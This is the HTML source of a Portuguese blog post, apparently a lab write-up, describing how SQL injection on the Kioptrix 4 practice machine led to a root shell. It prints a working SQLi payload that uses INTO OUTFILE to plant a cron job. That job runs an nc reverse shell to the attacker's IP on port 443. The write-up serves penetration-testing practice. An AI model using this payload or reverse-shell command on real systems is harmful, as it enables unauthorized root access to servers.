-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsqli-to-root.html
executable file
·174 lines (88 loc) · 12 KB
/
sqli-to-root.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- iOS Safari -->
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
<!-- Chrome, Firefox OS and Opera Status Bar Color -->
<meta name="theme-color" content="#FFFFFF">
<link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.11.1/katex.min.css">
<link rel="stylesheet" type="text/css"
href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.19.0/themes/prism.min.css">
<link rel="stylesheet" type="text/css" href="css/SourceSansPro.css">
<link rel="stylesheet" type="text/css" href="css/theme.css">
<link rel="stylesheet" type="text/css" href="css/notablog.css">
<!-- Favicon -->
<link rel="shortcut icon" href="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text text-anchor=%22middle%22 dominant-baseline=%22middle%22 x=%2250%22 y=%2255%22 font-size=%2280%22>🐞</text></svg>">
<style>
:root {
font-size: 20px;
}
</style>
<title>Do SQLi ao Root em 2 Passos | www.offensivethink.com</title>
<meta property="og:type" content="blog">
<meta property="og:title" content="Do SQLi ao Root em 2 Passos">
<meta name="description" content="Como em dois passos pode-se chegar ao root se o mysql estiver configurado para rodar com usuário superprivilegiado.">
<meta property="og:description" content="Como em dois passos pode-se chegar ao root se o mysql estiver configurado para rodar com usuário superprivilegiado.">
<style>
.DateTagBar {
margin-top: 1.0rem;
}
</style>
</head>
<body>
<nav class="Navbar">
<a href="index.html">
<div class="Navbar__Btn">
<span><img class="inline-img-icon" src="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text text-anchor=%22middle%22 dominant-baseline=%22middle%22 x=%2250%22 y=%2255%22 font-size=%2280%22>🐞</text></svg>"></span>
<span>Home</span>
</div>
</a>
<span class="Navbar__Delim">·</span>
<a href="referencia-rapida.html">
<div class="Navbar__Btn">
<span>→ Referência rápida ← </span>
</div>
</a>
<span class="Navbar__Delim">·</span>
<a href="contacts.html">
<div class="Navbar__Btn">
<span><img class="inline-img-icon" src="https://www.notion.so/signed/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F12e48681-f6a0-41cb-aa1f-73a46f35c5d3%2FOffensiveThink_Logo_Negative_notion_-_280x280.png?table=block&id=ca933149-5245-4511-a885-9cf5922808e1"></span>
<span>about & contacts</span>
</div>
</a>
<span class="Navbar__Delim">·</span>
<a href="offensivetools.html">
<div class="Navbar__Btn">
<span>Offensive Tools</span>
</div>
</a>
</nav>
<header class="Header">
<div class="Header__Cover">
<img src="https://www.notion.so/images/page-cover/nasa_transonic_tunnel.jpg">
</div>
<div class="Header__Spacer ">
</div>
<h1 class="Header__Title">Do SQLi ao Root em 2 Passos</h1>
<div class="DateTagBar">
<span class="DateTagBar__Item DateTagBar__Date">Posted on Thu, Jul 30, 2020</span>
<span class="DateTagBar__Item DateTagBar__Tag DateTagBar__Tag--default">
<a href="tag/sqli.html">sqli</a>
</span>
</div>
</header>
<article id="https://www.notion.so/18d82588d75c4b97a97a380e625fe890" class="PageRoot"><div id="https://www.notion.so/9bb593e81ab14e17bf42a6c3aa95cd65" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"></span></p></div><div id="https://www.notion.so/f57dcc78582f4c37a34ea92b8a589540" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Tudo começou quando eu vi um Bode e quando esse danado desse bode me levou para uma jaula onde eu quase perco o restante dos cabelos que eu tinha para sair dela. :D :D</span></span></p></div><div id="https://www.notion.so/68d13dd4fb6f4657a1eb9a8e009fd1b1" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"></span></p></div><div id="https://www.notion.so/4554974c9aa541b6950bd3eeacb155b5" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Mas ai eu descobri uma coisa interessante nessa máquina, é que os arquivos que eu conseguia escrever nela através de SQLi ficavam com usuário e grupo root. Esta máquina é a Kioptrix 4.</span></span></p></div><div id="https://www.notion.so/b735938a80974f5ea09c0561cefefff6" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"></span></p></div><div id="https://www.notion.so/306051ae351b49da8b4de8a6bda39f7b" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Então pensei. O processo do MySQL deve rodar como root e se ele roda como root ele é todo poderoso. Se ele é todo poderoso ele pode escrever onde eu quiser e como quiser. Então , que tal, escrever em um arquivo de crontab um comando para fazer shell reverso pra mim ? Bora tentar assim :</span></span></p></div><div id="https://www.notion.so/3943fa48fbb94235b6e6da64a5e326a2" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"></span></p></div><div id="https://www.notion.so/0a6d5e36cdcf491db9f839aa666e9642" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Vamos tentar criar um arquivo em /etc/cron.d que programe o cron para tentar conectar na nossa máquina a cada 1 minuto:</span></span></p></div><pre id="https://www.notion.so/f7396be146f247cbb0edf094b75b483a" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span>*/1 * * * * root nc.traditional 192.168.200.3 443 -e /bin/bash</span></span></span></code></pre><div id="https://www.notion.so/95c81cf0d9f14fafb3975a0293772b3d" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Então, nosso SQLi, ficaria assim:</span></span></p></div><pre id="https://www.notion.so/4b457181921f4d2d8ff9c45fde9418bf" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span>myusername<span class="token operator">=</span>john<span class="token operator">&</span>mypassword<span class="token operator">=</span><span class="token operator">-</span><span class="token number">9334</span>'<span class="token operator">OR</span> <span class="token number">1908</span><span class="token operator">=</span><span class="token number">1908</span> <span class="token keyword">limit</span> <span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span> <span class="token keyword">union</span> <span class="token keyword">all</span>
<span class="token keyword">select</span> <span class="token string">"*/1 * * * *"</span> <span class="token punctuation">,</span> <span class="token string">"root"</span> <span class="token punctuation">,</span> <span class="token string">"nc.traditional 192.168.200.3 443 -e /bin/bash"</span>
</span></span><span class="SemanticString"><strong class="SemanticString__Fragment SemanticString__Fragment--Bold"><mark class="SemanticString__Fragment SemanticString__Fragment--HighlightedColor SemanticString__Fragment--ColorBlue"><span><span class="token keyword">INTO</span> <span class="token keyword">OUTFILE</span></span></mark></strong></span><span class="SemanticString"><span> <span class="token string">'/etc/cron.d/crontab'</span><span class="token comment">--%20-</span></span></span></span></code></pre><div id="https://www.notion.so/45337523dbbb458a988dc38f831c5afd" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"></span></p></div><div id="https://www.notion.so/66248293e08f4bd5bccb5ae3c19dacc8" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><em class="SemanticString__Fragment SemanticString__Fragment--Italic">Tá, não foi assim de primeira , no alvo, prego batido de ponta virada né ? Primeiro apanhei para descobrir que essa danada dessa máquina só tem permissão para se conecta na porta 443 e 22. Depois apanhei tentando fazer com um telnet reverso mas o cron, pelo que entendi abre um subprocesso que morre logo em seguida não permitindo que o telnet fique no ar. Não cheguei a tentar com perl, php, python, etc., pois eu tava decidido a fazer com "comandos do sistema". Ai no finalzim, vi que o danado tinha o nc.tradicional, ou seja, o nosso net gatinho tradicional.</em></span></span></p></div><div id="https://www.notion.so/983a70d680c94dfd9d3026c284b46cc0" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"></span></p></div><div id="https://www.notion.so/355bb56660744cd0977329126db659ee" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Ai agora é injetar via Burp abrir um NC no terminal e aguardar o Shell cair no seu colo:</span></span></p></div><div id="https://www.notion.so/e9f8fde3038a4e5ca72fbc1cc988afdf" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Mandando bala</span></span></p></div><div id="https://www.notion.so/dcd102848cd74d328c15a59b8e98a9eb" class="Image Image--PageWidth"><figure><a href="#?width=668"><img src="#?width=668" style="width:100%"/></a><figcaption><span class="SemanticStringArray"></span></figcaption></figure></div><div id="https://www.notion.so/0627806a56374c9c8773c24df0a15802" class="Image Image--PageWidth"><figure><a href="#?width=700"><img src="#?width=700" style="width:100%"/></a><figcaption><span class="SemanticStringArray"></span></figcaption></figure></div><div id="https://www.notion.so/b96d29b7185e407690072c2c0c4cec9b" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"></span></p></div><div id="https://www.notion.so/a9dd35c677e74d54a10d9fd798ea59cc" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Recebendo o doce</span></span></p></div><div id="https://www.notion.so/dee3a871f5f347159cf2f78913781ff0" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"></span></p></div><div id="https://www.notion.so/a7cc8dbc7d2845e98bb70f105aab89f3" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">E tá ai , rapidinho, nada de restricted shell, nada de escalar privilégios, etc, etc, etc. Direto ao Shell. ;D</span></span></p></div></article>
<footer class="Footer">
<div>© www.offensivethink.com 2024</div>
<div>·</div>
<div>Powered by <a href="https://github.com/dragonman225/notablog" target="_blank"
rel="noopener noreferrer">Notablog</a>.
</div>
</footer>
</body>
</html>